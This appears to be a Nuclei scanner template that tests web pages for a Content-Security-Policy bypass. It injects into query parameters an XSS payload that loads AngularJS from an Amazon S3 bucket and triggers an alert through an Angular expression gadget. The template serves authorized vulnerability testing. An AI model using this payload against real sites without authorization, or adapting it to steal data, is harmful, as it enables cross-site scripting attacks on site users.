id: amazon-s3-elysium-csp-bypass
info:
name: Content-Security-Policy Bypass - Amazon S3 Elysium
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,amazon-s3-elysium,vuln
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "amazonaws.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: amazon_s3_elysium_csp_xss
args:
max-duration: 5s
payloads:
injection:
- <body ng-app ng-csp><script src="//elysiumwebsite.s3.amazonaws.com/uploads/blog-media/rockstar/angular.min.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == \'window\'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body>
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "amazon_s3_elysium_csp_xss == true"
# digest: 4a0a00473045022006d5ee42817d4fcd8546175b6728788bbf9df96626befa0c9d00ac0f32a7a8e2022100fbc4c55e81a65a373b4b28deb93171a5e1e5f70856970e9a3886ffa8d86fd5fb:922c64590222798bb761d5b6d8e72950